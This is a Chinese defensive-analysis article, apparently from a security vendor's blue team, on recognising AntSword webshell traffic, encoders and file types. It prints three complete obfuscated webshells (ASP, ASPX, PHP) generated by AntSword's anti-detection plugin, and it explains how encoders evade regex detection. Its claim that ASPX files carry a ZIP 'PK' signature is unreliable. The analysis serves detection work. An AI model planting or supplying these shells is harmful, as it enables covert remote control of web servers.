一、研判分析
告警设备的告警千千万万条,我们需要从中判断出究竟哪一条是误报、哪一条是真实信息,研判分析在这当中就显得格外重要。学会判断事件的真实性以及当中的危害,对工作帮助有着至关重要的作用。当然,判断事件的安全类型、危害程度,再到补救方式也是缺一不可。
二、蚁剑webshell
市场上流行的webshell一般有四种,分别是菜刀、蚁剑、冰蝎和哥斯拉。其中蚁剑是一款非常优秀的网站管理工具,支持在windows、Linux和Mac上正常运行,具体在此就不做过多的介绍,下面我们先了解蚁剑的流量特征开始研判。
01、流量分析
首先我们往靶场注入蚁剑木马(这里笔者使用的是phpstudy搭建的upload的靶场,利用wireshark流量捕获或者用burpsuite去代理也是可以的):
|
抓到的数据如图所示:
|
在旧版数据包里面UA头直接显示:antsword。
|
除去UA头,我们来看一下数据包的内容,default情况下URLdecode解码:
cmd是笔者连接的密码,我们可以看到 ini_set 、dirname、asoutput、 function_exists这些熟悉的字眼,下面我们来分析一下。
@ini_set(“display_errors”, “0”):
指临时关闭PHP的错误显示功能。
@set_time_limit(0):
指设置执行时间,为零说明永久执行直到程序结束,作用是为了防止像dir、上传文件大马时超时。
asenc函数:
简单接收参数然后直接返回。
asoutput函数:
先用ob_get_contents得到缓冲区的数据,然后用ob_end_clean清除缓冲区的内容,并将缓冲区关闭,然后把接收到的缓冲区数据输出。
$output=ob_get_contents(); :
获取缓冲区内容
ob_end_clean(); :
清空缓冲区并关闭输出缓冲
ob_end_flush(); :
输出全部内容到浏览器
ob_start():
指在服务器打开一个缓冲区来保存所有的输出。
try语句里面:
$_SERVER[“SCRIPT_FILENAME”]:
指获取当前执行脚本的绝对路径。
dirname():
函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录。
如果$D为空,那么就用$_SERVER[“PATH_TRANSLATED”]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。然后把获取到的$D加上TAB赋值给$R。
再到下面的if语句:
先判断$D的第一位是不是/,这里应该是在判断是linux系统还是windows系统。
假如是windows,就从C到Z循环,is_dir是判断是否存在这个盘符目录。假如存在这个盘符就添加在$R的后面。
假如是linux的,就直接在后面加了个 “/” 。然后又在$R后面加了个TAB。
function_exists:
顾名思义,判断函数是否定义存在。
posix_getegid:
返回当前进程的有效组ID。
posix_getpwuid:
按用户id返回有关用户的信息。
die:
与exit函数类似,输入一条消息,退出程序。
代码参考 :
https://blog.csdn.net/weixin_39685697/article/details/111226532
*左右滑动查看更多
这是蚁剑连接后,用来执行命令的函数,我们熟悉一下。
02、加密编码器
此后,蚁剑里面也会有加密编码器:
|
我们以@ini_set为例子,使用了编码器之后的结果展示:
编码器 |
函数 |
default |
@ini_set |
base64 |
QGluaV9zZXQ= |
chr |
CHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116) |
chr16 |
CHR(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x76) |
rot13 |
@vav_frg |
当蚁剑使用了编码器,对我们人工第一眼辨识度肯定是下跌,但是机器的正则匹配,效果是无效的,达到免杀效果,需要的是混淆的手段。
想了解更多可以查看蚁剑的模块原代码
蚁剑还有一套RSA加密组合,在编码管理处,简单的操作就可以生成RSA编码器配置,公私密钥的配置也可以从网上去生成粘贴,同时还会配置一套专属RSA的webshell,当然,不做免杀处理,webshell一上传基本就会被检测出来了。
成功上传webs hell之后,用蚁剑的虚拟终端发送一个whoami,可以看到代码函数块被全部加密了,只剩一个原文的密码连接:
|
而且蚁剑开源了还可以自定义加解密编码器,进一步隐藏了蚁剑的流量特征,加大了设备的检测的难度,但使用起来需要openssl的配置,总的来说还是有一些限制。
03、免杀shell生成
蚁剑还有着许多有趣的插件,如生成shel、生成免杀shell、注入不死php、webshell……我们一般人有时候不会,或者懒于去制造免杀的shell代码,还是有极大的可能去一键生成免杀shell的。
接下来我们来熟悉一下一键生成免杀shell。
一键生成免杀shell的界面:
asp
<%
<!--
Function VZUR(AOOV):
AOOV = Split(AOOV,"/")
For x=0 To Ubound(AOOV)
VZUR=VZUR&Chr(AOOV(x)-233)
Next
End Function
EXecutE(VZUR("334/351/330/341/265/347/334/346/350/334/348/349/273/267/342/347/287/267/274"))
-->
%>
*左右滑动查看更多
执行函数 execute。
ASPX
<%@ Page Language="Jscript" Debug=true%>
<%
var OKKJ='XTkBZIKUSWgjdhHNfiCDuAGRoemyOaYvEstqLwVblQpFrPcJxnzM';
var AVRW=Request.Form("mr6");
var JRXF=OKKJ(7) + OKKJ(15) + OKKJ(8) + OKKJ(21) + OKKJ(16) + OKKJ(25);
eval(AVRW, JRXF);
%>
*左右滑动查看更多
执行函数 eval。
PHP
class COVP {
function yrqL() {
$lVyy = "xef" ^ "x8e";
$KRzv = "x8c" ^ "xff";
$oZPD = "xb1" ^ "xc2";
$vLxU = "x95" ^ "xf0";
$NFjs = "xc2" ^ "xb0";
$Ijru = "xc" ^ "x78";
$HakK =$lVyy.$KRzv.$oZPD.$vLxU.$NFjs.$Ijru;
return $HakK;
}
function __destruct(){
$CHIA=$this->yrqL();
@$CHIA($this->Gt);
}
}
$covp = new COVP();
@$covp->Gt = isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
*左右滑动查看更多
无明显函数特征,但生成代码语句样式一致,研判人员可按参照代码样式研判。
三、文件识别
除了一些细致的流量特征,我们也可以看大致的文件识别。
01、定义
文件识别是指通过一定的方法或技术对文件的格式、类型、内容等进行判断和识别的过程。在平常的渗透测试中,我们需要上传脚本语言让服务器或者浏览器去解析。
在上文中介绍免杀shell生成的时候,我们已经看到了一些脚本语言的扩展名。例如,asp、aspx、php等。
蚁剑上还有很多,我们来看看。
在计算机系统中,文件是作为数据存储的载体,存储着各种类型的数据。不同的文件类型需要使用不同的读取方式和工具来处理,因此文件识别对于计算机系统的正常工作和数据处理是非常重要的。
02、分类
文件识别可以按照不同的特征进行分类,通常可以分为以下几种:
基于扩展名的文件识别:文件在保存时通常都有一个扩展名,通过扩展名可以初步判断文件类型。例如 .txt 表示文本文件、.jpg 表示图片文件、.mp3 表示音频文件等等。
基于魔数的文件识别:每个文件的开头几个字节被称为"魔数"(Magic Number)。针对不同的文件类型,其开始的几个字节指定了特定的二进制值,这种值被称为魔数。通过解读魔数可以准确地判断文件类型。例如PNG文件的魔数为89 50 4E 47 0D 0A 1A 0A,JPEG文件的魔数为FF D8 FF E0等等。
基于文件类型的签名的文件识别:各个文件类型都有一个独特的signature,也称为magic number或magic string,用于识别文件类型。signature可能在文件开头的不同位置,或者通过特定的算法来计算得出。例如MS Word文件的signature为 D0 CF 11 E0 A1 B1 1A E1等等。通过读取文件一定量的字节来比对signature来判断文件类型。
下面我们来认识一下蚁剑上的脚本文件。
ASP文件:ASP文件是纯文本文件,没有特定的文件头和Signature。在文件开头的标签(如“<%@”、“<%”等)中可以识别该文件类型是ASP文件。
ASPX文件:ASP.NET的文件头为“<%@ Page”或“<%@ Control”。文件Signature为“PK”,其实就是 ZIP格式的文件头,因为ASP.NET的编译后的页面是用 ZIP格式打包的。
PHP文件:PHP文件的文件头为“<?php”,文件Signature为“<?php”,该标志告诉Web服务器该文件包含PHP代码。
PHP4文件:PHP4文件的文件头为“<?”,文件Signature为“<?”,相当于PHP的一个较早的版本。
JSP文件:JSP文件的文件头为“<%@”,文件Signature为“<%@”。
JSPJS文件:JSPJS文件是JS编写的JSP文件,文件头为“<%@”, 文件Signature为“<%@”。
CMD/Linux文件:CMD或Linux文件的文件头为“#!”,Signature为“#!”。该标志告诉操作系统后面的内容是可执行脚本。
Custom文件:Custom文件没有固定的文件头和Signature,开发人员可以根据实际需要设置特定的文件头和Signature。
需要注意的是,在Web应用程序中,文件头和Signature仅用于标识文件类型的信息,没有安全性可言。因此,任何人都可以更改文件头和Signature,从而欺骗Web服务器。
四、小结
蚁剑的流量伴随着攻防的发展而变得越来越隐蔽,研判的难度也随之水涨船高,防守方的人员需要不断地学习和探索,去了解旧事物的发展和新事物的诞生,才可以做到准确无误的判断。
往期回顾
关于安恒信息安全服务团队 安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。
原文始发于微信公众号(安恒信息安全服务):九维团队-蓝队(防御)| webshell研判分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论